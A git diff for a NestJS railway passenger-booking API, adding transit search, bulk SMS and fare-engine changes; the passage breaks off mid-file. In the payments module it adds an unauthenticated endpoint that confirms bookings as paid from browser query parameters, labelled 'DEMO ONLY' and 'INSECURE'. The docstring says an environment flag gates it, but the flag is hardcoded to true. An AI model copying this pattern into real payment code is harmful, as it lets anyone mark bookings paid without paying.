[SendMessage] }) + @IsArray() + @ValidateNested({ each: true }) + @Type(() => SendMessage) messages: SendMessage[]; } diff --git a/apps/edr-passenger-api/src/modules/notifications/email-client.service.ts b/apps/edr-passenger-api/src/modules/notifications/email-client.service.ts index 8fcb82394..f925920cb 100644 --- a/apps/edr-passenger-api/src/modules/notifications/email-client.service.ts +++ b/apps/edr-passenger-api/src/modules/notifications/email-client.service.ts @@ -11,7 +11,10 @@ export class EmailClientService implements OnApplicationBootstrap { private readonly emailServiceClient: ClientProxy, ) {} + private readonly enabled = process.env.RABBITMQ_ENABLED !== 'false'; + async onApplicationBootstrap() { + if (!this.enabled) return; this.emailServiceClient .connect() .then(() => this.logger.log('Connected to Email service')) @@ -19,10 +22,8 @@ export class EmailClientService implements OnApplicationBootstrap { } async sendEmail(dto: SendEmail) { - this.emailServiceClient.emit('send-email', { - ...dto, - appKey: 'EDR-PASSENGER-API', - }); + if (!this.enabled) return {}; + this.emailServiceClient.emit('send-email', { ...dto, appKey: 'EDR-PASSENGER-API' }); return {}; } } diff --git a/apps/edr-passenger-api/src/modules/notifications/notifications.controller.ts b/apps/edr-passenger-api/src/modules/notifications/notifications.controller.ts index 9fd69830c..0b7798a04 100644 --- a/apps/edr-passenger-api/src/modules/notifications/notifications.controller.ts +++ b/apps/edr-passenger-api/src/modules/notifications/notifications.controller.ts @@ -7,7 +7,7 @@ import { TestNotificationDto } from './notifications.dto'; import { EmailClientService } from './email-client.service'; import { SmsClientService } from './sms-client.service'; import { SendEmail } from './dtos/email.dto'; -import { SendMessage } from './dtos/sms.dto'; +import { BulkMessagesDto, SendMessage } from './dtos/sms.dto'; @ApiTags('Notifications') @Controller('notifications') @@ -56,6 +56,15 @@ export class NotificationsController { return this.smsClient.sendSms(dto); } + @Post('send/sms/bulk') + @UseGuards(IamGuard) + @IamRoles('ADMIN', 'STAFF') + @ApiOperation({ summary: 'Send bulk SMS messages via the SMS microservice' }) + @ApiBody({ type: BulkMessagesDto }) + sendBulkSms(@Body() dto: BulkMessagesDto) { + return this.smsClient.sendBulkMessages(dto); + } + @Post('test') @UseGuards(IamGuard) @IamRoles('ADMIN', 'STAFF') diff --git a/apps/edr-passenger-api/src/modules/notifications/notifications.module.ts b/apps/edr-passenger-api/src/modules/notifications/notifications.module.ts index f209ccf17..c72552015 100644 --- a/apps/edr-passenger-api/src/modules/notifications/notifications.module.ts +++ b/apps/edr-passenger-api/src/modules/notifications/notifications.module.ts @@ -1,6 +1,5 @@ import { Module } from '@nestjs/common'; import { HttpModule } from '@nestjs/axios'; -import { ConfigModule, ConfigService } from '@nestjs/config'; import { ClientsModule, Transport } from '@nestjs/microservices'; import { NotificationsController } from './notifications.controller'; import { NotificationsService } from './notifications.service'; @@ -11,34 +10,24 @@ import { SmsClientService } from './sms-client.service'; @Module({ imports: [ HttpModule.register({ timeout: 10_000 }), - ClientsModule.registerAsync([ + ClientsModule.register([ { name: 'EMAIL_SERVICE', - imports: [ConfigModule], - inject: [ConfigService], - useFactory: (config: ConfigService) => ({ - transport: Transport.RMQ, - options: { - urls: [config.get('RABBITMQ_URL') ?? 'amqp://localhost:5672'], - queue: config.get('EMAIL_QUEUE') ?? 'email_queue', - queueOptions: { durable: true }, - noAck: true, - }, - }), + transport: Transport.RMQ, + options: { + urls: [process.env.RABBITMQ_URL as string], + queue: process.env.EMAIL_QUEUE ?? 'email_queue', + queueOptions: { durable: true }, + }, }, { name: 'SMS_SERVICE', - imports: [ConfigModule], - inject: [ConfigService], - useFactory: (config: ConfigService) => ({ - transport: Transport.RMQ, - options: { - urls: [config.get('RABBITMQ_URL') ?? 'amqp://localhost:5672'], - queue: config.get('SMS_QUEUE') ?? 'sms_queue', - queueOptions: { durable: true }, - noAck: true, - }, - }), + transport: Transport.RMQ, + options: { + urls: [process.env.RABBITMQ_URL as string], + queue: process.env.SMS_QUEUE ?? 'sms_queue', + queueOptions: { durable: true }, + }, }, ]), ], diff --git a/apps/edr-passenger-api/src/modules/notifications/notifications.service.ts b/apps/edr-passenger-api/src/modules/notifications/notifications.service.ts index 68d76572c..595633e93 100644 --- a/apps/edr-passenger-api/src/modules/notifications/notifications.service.ts +++ b/apps/edr-passenger-api/src/modules/notifications/notifications.service.ts @@ -20,7 +20,7 @@ export class NotificationsService { private pushAdapter: PushAdapter, ) { this.channels = new Map([ - ['EMAIL', { send: (to, subject, body) => this.emailClient.sendEmail({ to, subject, body }).then(() => true) }], + ['EMAIL', { send: (to, subject, body) => this.emailClient.sendEmail({ to, subject, text: body }).then(() => true) }], ['SMS', { send: (to, _subject, body) => this.smsClient.sendSms({ to, message: body }).then(() => true) }], ['PUSH', this.pushAdapter as NotificationChannel], ]); @@ -107,7 +107,7 @@ export class NotificationsService { await this.emailClient.sendEmail({ to: passenger.user.email, subject: this.sanitize(dto.title), - body: this.sanitize(dto.body), + text: this.sanitize(dto.body), }); } diff --git a/apps/edr-passenger-api/src/modules/notifications/sms-client.service.ts b/apps/edr-passenger-api/src/modules/notifications/sms-client.service.ts index 0108e0758..7b18212cb 100644 --- a/apps/edr-passenger-api/src/modules/notifications/sms-client.service.ts +++ b/apps/edr-passenger-api/src/modules/notifications/sms-client.service.ts @@ -1,4 +1,9 @@ -import { Inject, Injectable, Logger, OnApplicationBootstrap } from '@nestjs/common'; +import { + Inject, + Injectable, + Logger, + OnApplicationBootstrap, +} from '@nestjs/common'; import { ClientProxy } from '@nestjs/microservices'; import { BulkMessagesDto, SendMessage } from './dtos/sms.dto'; @@ -8,29 +13,32 @@ export class SmsClientService implements OnApplicationBootstrap { constructor( @Inject('SMS_SERVICE') - private readonly smsClient: ClientProxy, + private smsClient: ClientProxy, ) {} + private readonly enabled = process.env.RABBITMQ_ENABLED !== 'false'; + async onApplicationBootstrap() { + if (!this.enabled) return; this.smsClient .connect() - .then(() => this.logger.log('Connected to SMS service')) - .catch((err) => this.logger.error('Error connecting to SMS service', err)); + .then(() => { + this.logger.log('connected to SMS service'); + }) + .catch((err) => { + console.error('Error happened at SMS service', err); + }); } async sendSms(dto: SendMessage) { - this.smsClient.emit('send-sms', { - ...dto, - appKey: 'EDR-PASSENGER-API', - }); + if (!this.enabled) return {}; + this.smsClient.emit('send-sms', { ...dto, appKey: 'EDR-PASSENGER-API' }); return {}; } async sendBulkMessages(dto: BulkMessagesDto) { - this.smsClient.emit('ozeking-bulk-sms', { - ...dto, - appKey: 'EDR-PASSENGER-API', - }); + if (!this.enabled) return {}; + this.smsClient.emit('ozeking-bulk-sms', { ...dto, appKey: 'EDR-PASSENGER-API' }); return {}; } } diff --git a/apps/edr-passenger-api/src/modules/payments/payments.controller.ts b/apps/edr-passenger-api/src/modules/payments/payments.controller.ts index 373e10513..a64c4ae9c 100644 --- a/apps/edr-passenger-api/src/modules/payments/payments.controller.ts +++ b/apps/edr-passenger-api/src/modules/payments/payments.controller.ts @@ -79,6 +79,28 @@ export class PaymentsController { return this.service.getIntentByBookingId(bookingId); } + @Get("waafi/return") + @ApiOperation({ + summary: + "DEMO ONLY โ€” confirm a Waafi payment from the browser-return params and return JSON for the " + + "UI to display. The frontend success page forwards the Waafi query params here. Gated by " + + "WAAFI_DEMO_TRUST_RETURN (INSECURE; real confirmation is the webhook/HPP_GETTRANINFO).", + }) + @ApiQuery({ name: "referenceId", required: true }) + @ApiQuery({ name: "state", required: true }) + @ApiQuery({ name: "transactionId", required: false }) + waafiReturn( + @Query("referenceId") referenceId: string, + @Query("state") state: string, + @Query("transactionId") transactionId: string, + ) { + return this.service.confirmWaafiReturnDemo({ + referenceId, + state, + transactionId, + }); + } + @Post("refund") @UseGuards(JwtGuard, RolesGuard) @Roles(UserRole.ADMIN, UserRole.STAFF, UserRole.AGENT) diff --git a/apps/edr-passenger-api/src/modules/payments/payments.service.ts b/apps/edr-passenger-api/src/modules/payments/payments.service.ts index c017c6332..c8d0580bf 100644 --- a/apps/edr-passenger-api/src/modules/payments/payments.service.ts +++ b/apps/edr-passenger-api/src/modules/payments/payments.service.ts @@ -44,6 +44,8 @@ export class PaymentsService { private readonly logger = new Logger(PaymentsService.name); private readonly walletDemoAutoSucceed = true; + private readonly waafiDemoTrustReturn = true; + constructor( private prisma: PrismaService, private seatsService: SeatsService, @@ -192,6 +194,41 @@ export class PaymentsService { return { returnUrl, failureUrl }; } + async confirmWaafiReturnDemo(params: { + referenceId?: string; + state?: string; + transactionId?: string; + }): Promise<{ confirmed: boolean; bookingId?: string; reason?: string }> { + if (!this.waafiDemoTrustReturn) { + return { confirmed: false, reason: "demo-disabled" }; + } + if ((params.state ?? "").toUpperCase() !== "APPROVED") { + return { confirmed: false, reason: `not-approved (${params.state})` }; + } + if (!params.referenceId) { + return { confirmed: false, reason: "missing-referenceId" }; + } + + const intent = await this.prisma.paymentIntent.findFirst({ + where: { merchantOrderId: params.referenceId }, + }); + if (!intent) { + this.logger.warn( + `waafi demo return: no local intent for referenceId ${params.referenceId}`, + ); + return { confirmed: false, reason: "intent-not-found" }; + } + + this.logger.warn( + `WAAFI_DEMO_TRUST_RETURN enabled โ€” confirming booking ${intent.bookingId} from browser return (INSECURE, demo only)`, + ); + await this.finalizePaymentSuccess({ + intentId: intent.id, + providerTxnId: params.transactionId, + }); + return { confirmed: true, bookingId: intent.bookingId }; + } + private async syncIntentProjection( bookingId: string, snapshot: PaymentIntentSnapshot, @@ -453,6 +490,30 @@ export class PaymentsService { }); } + /** + * Guard against an implausible paidAt from a provider event (e.g. a Telebirr epoch parsed as + * msร—1000 โ†’ year 58429), which Prisma/Postgres rejects and would otherwise dead-letter the + * whole confirmation. Falls back to "now" for missing/invalid/far-future/ancient values so the + * booking still confirms. + */ + private sanitizePaidAt(value?: Date): Date { + const now = new Date(); + if (!value) return now; + const t = value.getTime(); + const oneDayMs = 86_400_000; + if ( + Number.isNaN(t) || + t > now.getTime() + oneDayMs || + t < Date.UTC(2000, 0, 1) + ) { + this.logger.warn( + `finalizePaymentSuccess: implausible paidAt (epoch=${t}); using current time instead`, + ); + return now; + } + return value; + } + async finalizePaymentSuccess(input: { intentId: string; providerTxnId?: string; @@ -477,7 +538,7 @@ export class PaymentsService { }); if (!booking) throw new NotFoundException("Booking not found"); - const paidAt = input.paidAt ?? new Date(); + const paidAt = this.sanitizePaidAt(input.paidAt); await this.prisma.$transaction(async (tx) => { await tx.paymentIntent.update({ where: { id: intent.id }, diff --git a/apps/edr-passenger-api/src/modules/schedules/schedules.dto.ts b/apps/edr-passenger-api/src/modules/schedules/schedules.dto.ts index fcad059f4..4e422f2ad 100644 --- a/apps/edr-passenger-api/src/modules/schedules/schedules.dto.ts +++ b/apps/edr-passenger-api/src/modules/schedules/schedules.dto.ts @@ -98,6 +98,10 @@ export class BulkCreateSchedulesDto { @ApiPropertyOptional({ type: [PlannedStopTimeDto], description: 'Optional custom planned times per stop. If not provided, will auto-generate.' }) @IsOptional() @IsArray() @ValidateNested({ each: true }) @Type(() => PlannedStopTimeDto) plannedTimes?: PlannedStopTimeDto[]; + + @ApiPropertyOptional({ type: [String], description: 'Optional coach UUIDs to assign to every generated schedule' }) + @IsOptional() @IsArray() @IsString({ each: true }) + coachIds?: string[]; } export class BulkSchedulesResponseDto { diff --git a/apps/edr-passenger-api/src/modules/schedules/schedules.service.ts b/apps/edr-passenger-api/src/modules/schedules/schedules.service.ts index f7ef5487f..fd0776141 100644 --- a/apps/edr-passenger-api/src/modules/schedules/schedules.service.ts +++ b/apps/edr-passenger-api/src/modules/schedules/schedules.service.ts @@ -44,6 +44,15 @@ export class SchedulesService { const schedule = await this.createSchedule(createDto); scheduleIds.push(schedule.id); + + // Assign coaches if provided + if (dto.coachIds && dto.coachIds.length > 0) { + await this.assignCoaches( + schedule.id, + dto.coachIds.map((coachId, idx) => ({ coachId, positionNumber: idx + 1 })), + ); + } + scheduleCount++; } catch (error) { errors.push(`Failed to create schedule for ${currentDate.toISOString()}: ${error instanceof Error ? error.message : String(error)}`); diff --git a/apps/edr-passenger-api/src/modules/search/search.dto.ts b/apps/edr-passenger-api/src/modules/search/search.dto.ts index b1d4c371f..9eb035ef2 100644 --- a/apps/edr-passenger-api/src/modules/search/search.dto.ts +++ b/apps/edr-passenger-api/src/modules/search/search.dto.ts @@ -71,27 +71,38 @@ export class FareQuoteDto { } export class CoachTypeOptionClass { - @ApiProperty({ example: 'Economy Regular', description: 'Seat class name' }) - name: string; - - @ApiProperty({ example: 35000, description: 'Base fare in ETB minor units per passenger' }) - baseFareMinor: number; + @ApiProperty({ example: 'Economy Regular' }) name: string; + @ApiProperty({ example: 35000 }) baseFareMinor: number; } export class CoachTypeOption { - @ApiProperty({ example: 'coach-type-uuid', description: 'Coach type unique identifier' }) - coachTypeId: string; - - @ApiProperty({ example: 'Economy', description: 'Coach type display name' }) - coachTypeName: string; - - @ApiProperty({ example: 'ECO', description: 'Coach type code' }) - coachTypeCode: string; - - @ApiProperty({ - type: 'array', - items: { type: 'object', $ref: '#/components/schemas/CoachTypeOptionClass' }, - description: 'Available seat classes within this coach type with base fares. User selects specific class at seat selection page.', - }) - classes: CoachTypeOptionClass[]; + @ApiProperty({ example: 'coach-type-uuid' }) coachTypeId: string; + @ApiProperty({ example: 'Economy' }) coachTypeName: string; + @ApiProperty({ example: 'ECO' }) coachTypeCode: string; + @ApiProperty({ type: 'array', items: { type: 'object', $ref: '#/components/schemas/CoachTypeOptionClass' } }) classes: CoachTypeOptionClass[]; +} + +export class TransitLegDto { + @ApiProperty({ example: 'schedule-uuid' }) scheduleId: string; + @ApiProperty() trainNumber: string; + @ApiProperty() trainName: string; + @ApiProperty() origin: object; + @ApiProperty() destination: object; + @ApiProperty() departureAt: Date; + @ApiProperty() arrivalAt: Date; + @ApiProperty() durationMinutes: number; + @ApiProperty() availabilityByClass: object; + @ApiProperty() faresByClass: object[]; + @ApiProperty() coachTypes: CoachTypeOption[]; +} + +export class TransitResultDto { + @ApiProperty({ example: 'TRANSIT' }) type: string; + @ApiProperty({ example: 'station-uuid' }) transitStationId: string; + @ApiProperty({ example: 'Dire Dawa' }) transitStationName: string; + @ApiProperty({ description: 'Connection wait time in minutes' }) connectionMinutes: number; + @ApiProperty({ type: TransitLegDto }) leg1: TransitLegDto; + @ApiProperty({ type: TransitLegDto }) leg2: TransitLegDto; + @ApiProperty({ description: 'Combined minimum fare across all shared classes', example: 70000 }) combinedMinFareMinor: number; + @ApiProperty({ description: 'Total travel time including connection in minutes' }) totalDurationMinutes: number; } diff --git a/apps/edr-passenger-api/src/modules/search/search.service.ts b/apps/edr-passenger-api/src/modules/search/search.service.ts index 7d237c18b..9646c20ea 100644 --- a/apps/edr-passenger-api/src/modules/search/search.service.ts +++ b/apps/edr-passenger-api/src/modules/search/search.service.ts @@ -18,31 +18,54 @@ export class SearchService { ) {} async searchTrips(dto: SearchTripsDto) { - const outbound = await this.searchSchedules( - dto.originStationId, - dto.destinationStationId, - dto.date, - dto.adultCount, - dto.childCount, - dto.nationality, - ); - - if (dto.journeyType === 'ROUND_TRIP') { - const allInbound = await this.searchSchedules( - dto.destinationStationId, + const [direct, transit] = await Promise.all([ + this.searchSchedules( dto.originStationId, - dto.returnDate ?? dto.date, + dto.destinationStationId, + dto.date, dto.adultCount, dto.childCount, dto.nationality, - ); + ), + this.searchTransitOptions( + dto.originStationId, + dto.destinationStationId, + dto.date, + dto.adultCount, + dto.childCount, + dto.nationality, + ), + ]); + const outbound = [...direct, ...transit]; + + if (dto.journeyType === 'ROUND_TRIP') { + const [returnDirect, returnTransit] = await Promise.all([ + this.searchSchedules( + dto.destinationStationId, + dto.originStationId, + dto.returnDate ?? dto.date, + dto.adultCount, + dto.childCount, + dto.nationality, + ), + this.searchTransitOptions( + dto.destinationStationId, + dto.originStationId, + dto.returnDate ?? dto.date, + dto.adultCount, + dto.childCount, + dto.nationality, + ), + ]); + + const allReturn = [...returnDirect, ...returnTransit]; const latestOutboundArrival = outbound.length > 0 - ? Math.max(...outbound.map((s) => new Date(s.arrivalAt).getTime())) + ? Math.max(...outbound.map((s: any) => new Date(s.arrivalAt ?? s.leg2?.arrivalAt).getTime())) : Date.now(); - const inbound = allInbound.filter((schedule) => - new Date(schedule.departureAt).getTime() > latestOutboundArrival + const inbound = allReturn.filter((s: any) => + new Date(s.departureAt ?? s.leg1?.departureAt).getTime() > latestOutboundArrival ); return { journeyType: 'ROUND_TRIP', outbound, inbound }; @@ -60,7 +83,7 @@ export class SearchService { nationality?: string, ) { const [y, m, d] = dateStr.split('-').map(Number); - const date = new Date(y, m - 1, d, 0, 0, 0, 0); + const date = new Date(y, m - 1, d, 0, 0, 0, 0); const nextDay = new Date(y, m - 1, d + 1, 0, 0, 0, 0); const totalPassengers = adultCount + (childCount ?? 0); @@ -81,126 +104,211 @@ export class SearchService { }, }); - const results = []; - + const results: any[] = []; for (const schedule of schedules) { - const originStop = schedule.stopTimes.find((s: any) => s.stationId === originStationId); - const destStop = schedule.stopTimes.find((s: any) => s.stationId === destinationStationId); + const result = await this.buildScheduleResult(schedule, originStationId, destinationStationId, totalPassengers, nationality); + if (result) results.push(result); + } + return results; + } - if (!originStop || !destStop || originStop.sequence >= destStop.sequence) continue; + // โ”€โ”€ Transit search โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + // Finds pairs of schedules (leg1: originโ†’transit, leg2: transitโ†’destination) + // where the passenger has between MIN_CONNECTION and MAX_CONNECTION minutes + // to change trains at the transit station. + private readonly MIN_CONNECTION_MINUTES = 30; + private readonly MAX_CONNECTION_MINUTES = 360; - const availabilityByClass: Record = {}; + private async searchTransitOptions( + originStationId: string, + destinationStationId: string, + dateStr: string, + adultCount: number, + childCount?: number, + nationality?: string, + ) { + // Find all stations that can serve as transit points: + // they must be a stop after origin on some schedule AND + // a stop before destination on another schedule on the same day. + const [y, m, d] = dateStr.split('-').map(Number); + const dayStart = new Date(y, m - 1, d, 0, 0, 0, 0); + const dayEnd = new Date(y, m - 1, d + 1, 0, 0, 0, 0); + const totalPassengers = adultCount + (childCount ?? 0); - for (const assignment of schedule.coachAssignments) { - const seatClassNames = assignment.coach.coachType?.seatClasses?.map((sc: any) => sc.name) || ['Standard']; - const isBedCoach = assignment.coach.seats.some((s: any) => s.bedPosition); + // Load all schedules on this date that pass through origin + const leg1Schedules = await this.prisma.trainSchedule.findMany({ + where: { + status: { in: ['SCHEDULED', 'BOARDING'] }, + departureAt: { gte: dayStart, lt: dayEnd }, + stopTimes: { some: { stationId: originStationId } }, + }, + include: { + train: true, + originStation: true, + destinationStation: true, + stopTimes: { include: { station: true }, orderBy: { sequence: 'asc' } }, + coachAssignments: { + include: { coach: { include: { seats: true, coachType: { include: { seatClasses: true } } } } }, + }, + }, + }); - if (isBedCoach) { - const bedPositions = ['upper', 'middle', 'lower']; - for (const bedPosition of bedPositions) { - let count = 0; - for (const seat of assignment.coach.seats) { - if (seat.bedPosition !== bedPosition) continue; - if (seat.status === 'BLOCKED') continue; - if (!seat.seatNumber || !seat.seatNumber.trim()) continue; + const results: any[] = []; - const free = await this.segmentsService.isSeatFreeForLeg( - schedule.id, seat.id, - originStop.sequence, destStop.sequence, - ); - if (free) count++; - } + for (const leg1 of leg1Schedules) { + const originStop = leg1.stopTimes.find((s: any) => s.stationId === originStationId); + if (!originStop) continue; - if (count > 0) { - const matchingClass = seatClassNames.find((className: string) => { - const classNameLower = className.toLowerCase(); - return ( - (bedPosition === 'upper' && classNameLower.includes('upper')) || - (bedPosition === 'middle' && classNameLower.includes('middle')) || - (bedPosition === 'lower' && classNameLower.includes('lower')) - ); - }); - if (matchingClass) { - if (!availabilityByClass[matchingClass]) availabilityByClass[matchingClass] = 0; - availabilityByClass[matchingClass] += count; - } - } - } - } else { - let availableSeatsInCoach = 0; - for (const seat of assignment.coach.seats) { - if (seat.status === 'BLOCKED') continue; - if (!seat.seatNumber || !seat.seatNumber.trim()) continue; - - const free = await this.segmentsService.isSeatFreeForLeg( - schedule.id, seat.id, - originStop.sequence, destStop.sequence, - ); - if (free) availableSeatsInCoach++; - } - - for (const seatClassName of seatClassNames) { - if (!availabilityByClass[seatClassName]) availabilityByClass[seatClassName] = 0; - availabilityByClass[seatClassName] += availableSeatsInCoach; - } - } - } - - const legDepartureAt = originStop.plannedDepartureAt ?? schedule.departureAt; - const legArrivalAt = destStop.plannedArrivalAt ?? schedule.arrivalAt; - - const faresByClass = await this.calculateFaresForSegment( - schedule, - originStationId, - destinationStationId, - nationality, + // Every stop after origin on leg1 is a candidate transit station + const candidateTransitStops = leg1.stopTimes.filter( + (s: any) => s.sequence > originStop.sequence, ); - const coachTypes = await this.buildCoachTypeDetails(schedule, faresByClass); + for (const transitStop of candidateTransitStops) { + // leg1 must NOT already contain the final destination + const leg1HasDest = leg1.stopTimes.some((s: any) => s.stationId === destinationStationId); + if (leg1HasDest) continue; // direct route exists โ€” already returned by searchSchedules - results.push({ - scheduleId: schedule.id, - trainNumber: schedule.train.number, - trainName: schedule.train.name, - origin: { - id: originStop.stationId, - code: originStop.station.code, - name: originStop.station.name, - city: originStop.station.city, - sequence: originStop.sequence, - }, - destination: { - id: destStop.stationId, - code: destStop.station.code, - name: destStop.station.name, - city: destStop.station.city, - sequence: destStop.sequence, - }, - departureAt: legDepartureAt, - arrivalAt: legArrivalAt, - durationMinutes: Math.round( - (new Date(legArrivalAt).getTime() - new Date(legDepartureAt).getTime()) / 60_000, - ), - status: schedule.status, - stops: schedule.stopTimes - .filter((st: any) => st.sequence >= originStop.sequence && st.sequence <= destStop.sequence) - .map((st: any) => ({ - stationId: st.stationId, - stationName: st.station.name, - sequence: st.sequence, - plannedArrivalAt: st.plannedArrivalAt, - plannedDepartureAt: st.plannedDepartureAt, - })), - availabilityByClass, - hasAvailability: Object.values(availabilityByClass).some(n => n >= totalPassengers), - faresByClass, - coachTypes, - }); + const transitStationId = transitStop.stationId; + const leg1ArrivalAt = transitStop.plannedArrivalAt ?? transitStop.plannedDepartureAt ?? leg1.arrivalAt; + + // Find leg2 schedules departing from the transit station within the connection window, + // and reaching the final destination. Search up to the next calendar day to handle + // overnight connections. + const connWindowStart = new Date(new Date(leg1ArrivalAt).getTime() + this.MIN_CONNECTION_MINUTES * 60_000); + const connWindowEnd = new Date(new Date(leg1ArrivalAt).getTime() + this.MAX_CONNECTION_MINUTES * 60_000); + + const leg2Schedules = await this.prisma.trainSchedule.findMany({ + where: { + status: { in: ['SCHEDULED', 'BOARDING'] }, + departureAt: { gte: connWindowStart, lte: connWindowEnd }, + stopTimes: { some: { stationId: transitStationId } }, + }, + include: { + train: true, + originStation: true, + destinationStation: true, + stopTimes: { include: { station: true }, orderBy: { sequence: 'asc' } }, + coachAssignments: { + include: { coach: { include: { seats: true, coachType: { include: { seatClasses: true } } } } }, + }, + }, + }); + + for (const leg2 of leg2Schedules) { + const leg2TransitStop = leg2.stopTimes.find((s: any) => s.stationId === transitStationId); + const leg2DestStop = leg2.stopTimes.find((s: any) => s.stationId === destinationStationId); + + if (!leg2TransitStop || !leg2DestStop) continue; + if (leg2TransitStop.sequence >= leg2DestStop.sequence) continue; + + // Build individual leg result objects (reuse existing per-schedule logic) + const [leg1Result, leg2Result] = await Promise.all([ + this.buildScheduleResult(leg1, originStationId, transitStationId, totalPassengers, nationality), + this.buildScheduleResult(leg2, transitStationId, destinationStationId, totalPassengers, nationality), + ]); + + if (!leg1Result || !leg2Result) continue; + if (!leg1Result.hasAvailability || !leg2Result.hasAvailability) continue; + + const leg2DepartureAt = leg2TransitStop.plannedDepartureAt ?? leg2.departureAt; + const connectionMinutes = Math.round( + (new Date(leg2DepartureAt).getTime() - new Date(leg1ArrivalAt).getTime()) / 60_000, + ); + + const leg1MinFare = Math.min(...(leg1Result.faresByClass as any[]).map((f: any) => f.baseFareMinor).filter((n: number) => n > 0), Infinity); + const leg2MinFare = Math.min(...(leg2Result.faresByClass as any[]).map((f: any) => f.baseFareMinor).filter((n: number) => n > 0), Infinity); + const combinedMinFareMinor = (isFinite(leg1MinFare) ? leg1MinFare : 0) + (isFinite(leg2MinFare) ? leg2MinFare : 0); + + results.push({ + type: 'TRANSIT', + transitStationId, + transitStationName: transitStop.station.name, + connectionMinutes, + leg1: leg1Result, + leg2: leg2Result, + combinedMinFareMinor, + // Convenience top-level fields so round-trip filter can read them uniformly + departureAt: leg1Result.departureAt, + arrivalAt: leg2Result.arrivalAt, + totalDurationMinutes: + leg1Result.durationMinutes + connectionMinutes + leg2Result.durationMinutes, + }); + } + } } return results; } + // Builds the same result shape as searchSchedules for a single schedule+leg, + // extracted so both direct and transit paths share identical output. + private async buildScheduleResult( + schedule: any, + originStationId: string, + destinationStationId: string, + totalPassengers: number, + nationality?: string, + ) { + const originStop = schedule.stopTimes.find((s: any) => s.stationId === originStationId); + const destStop = schedule.stopTimes.find((s: any) => s.stationId === destinationStationId); + if (!originStop || !destStop || originStop.sequence >= destStop.sequence) return null; + + const availabilityByClass: Record = {}; + for (const assignment of schedule.coachAssignments) { + const seatClassNames = assignment.coach.coachType?.seatClasses?.map((sc: any) => sc.name) || ['Standard']; + const isBedCoach = assignment.coach.seats.some((s: any) => s.bedPosition); + + if (isBedCoach) { + for (const bedPosition of ['upper', 'middle', 'lower']) { + let count = 0; + for (const seat of assignment.coach.seats) { + if (seat.bedPosition !== bedPosition || seat.status === 'BLOCKED' || !seat.seatNumber?.trim()) continue; + const free = await this.segmentsService.isSeatFreeForLeg(schedule.id, seat.id, originStop.sequence, destStop.sequence); + if (free) count++; + } + if (count > 0) { + const matchingClass = seatClassNames.find((n: string) => n.toLowerCase().includes(bedPosition)); + if (matchingClass) availabilityByClass[matchingClass] = (availabilityByClass[matchingClass] ?? 0) + count; + } + } + } else { + let available = 0; + for (const seat of assignment.coach.seats) { + if (seat.status === 'BLOCKED' || !seat.seatNumber?.trim()) continue; + const free = await this.segmentsService.isSeatFreeForLeg(schedule.id, seat.id, originStop.sequence, destStop.sequence); + if (free) available++; + } + for (const name of seatClassNames) availabilityByClass[name] = (availabilityByClass[name] ?? 0) + available; + } + } + + const faresByClass = await this.calculateFaresForSegment(schedule, originStationId, destinationStationId, nationality); + const coachTypes = await this.buildCoachTypeDetails(schedule, faresByClass); + const legDepartureAt = originStop.plannedDepartureAt ?? schedule.departureAt; + const legArrivalAt = destStop.plannedArrivalAt ?? schedule.arrivalAt; + + return { + type: 'DIRECT', + scheduleId: schedule.id, + trainNumber: schedule.train.number, + trainName: schedule.train.name, + origin: { id: originStop.stationId, code: originStop.station.code, name: originStop.station.name, city: originStop.station.city, sequence: originStop.sequence }, + destination: { id: destStop.stationId, code: destStop.station.code, name: destStop.station.name, city: destStop.station.city, sequence: destStop.sequence }, + departureAt: legDepartureAt, + arrivalAt: legArrivalAt, + durationMinutes: Math.round((new Date(legArrivalAt).getTime() - new Date(legDepartureAt).getTime()) / 60_000), + status: schedule.status, + stops: schedule.stopTimes + .filter((st: any) => st.sequence >= originStop.sequence && st.sequence <= destStop.sequence) + .map((st: any) => ({ stationId: st.stationId, stationName: st.station.name, sequence: st.sequence, plannedArrivalAt: st.plannedArrivalAt, plannedDepartureAt: st.plannedDepartureAt })), + availabilityByClass, + hasAvailability: Object.values(availabilityByClass).some(n => n >= totalPassengers), + faresByClass, + coachTypes, + }; + } + async getFareQuote(dto: FareQuoteDto) { const schedule = await this.prisma.trainSchedule.findUnique({ where: { id: dto.scheduleId }, @@ -244,7 +352,8 @@ export class SearchService { nationality, ); - const baseFareMinor = bestMatch?.baseFareMinor ?? this.defaultFare(dto.seatClassName); + const baseFareMinor = bestMatch?.baseFareMinor + ?? await this.resolveScheduleFare(dto.scheduleId, seatClass?.id, dto.seatClassName); const adultCount = dto.adultCount; const childCount = dto.childCount ?? 0; @@ -379,11 +488,8 @@ export class SearchService { } } - console.log(`No fares found, using defaults for ${originStationId} to ${destinationStationId}`); - return seatClasses.map(sc => ({ - seatClassName: sc.name, - baseFareMinor: this.getDefaultFareForClass(sc.name), - })); + console.log(`No fares found via engine or rules for ${originStationId} to ${destinationStationId}`); + return []; } private async buildCoachTypeDetails( @@ -420,11 +526,10 @@ export class SearchService { const classes = Array.from(classNames) .map((className) => { const fareInfo = faresByClass.find((f) => f.seatClassName === className); - return { - name: className, - baseFareMinor: fareInfo?.baseFareMinor ?? this.getDefaultFareForClass(className), - }; + if (!fareInfo) return null; + return { name: className, baseFareMinor: fareInfo.baseFareMinor }; }) + .filter((c): c is { name: string; baseFareMinor: number } => c !== null) .sort((a, b) => a.baseFareMinor - b.baseFareMinor); result.push({ @@ -442,22 +547,28 @@ export class SearchService { }); } - private getDefaultFareForClass(className: string): number { - const defaults: Record = { - 'Economy Regular': 35000, - 'Economy Bed': 49000, - 'VIP Bed': 63000, - }; - return defaults[className] ?? 35000; + private async resolveScheduleFare(scheduleId: string, seatClassId?: string, seatClassName?: string): Promise { + if (!seatClassId) throw new NotFoundException(`Seat class '${seatClassName}' not found`); + const schedule = await this.prisma.trainSchedule.findUnique({ + where: { id: scheduleId }, + select: { routeId: true, originStationId: true, destinationStationId: true }, + }); + if (!schedule?.routeId) throw new NotFoundException('Schedule has no route configured for fare calculation'); + const fare = await this.fareEngine.calculate({ + routeId: schedule.routeId, + originStationId: schedule.originStationId, + destinationStationId: schedule.destinationStationId, + seatClassId, + }); + return fare.baseFarePerPassengerMinor; } - private defaultFare(seatClassName: string): number { - const fares: Record = { - 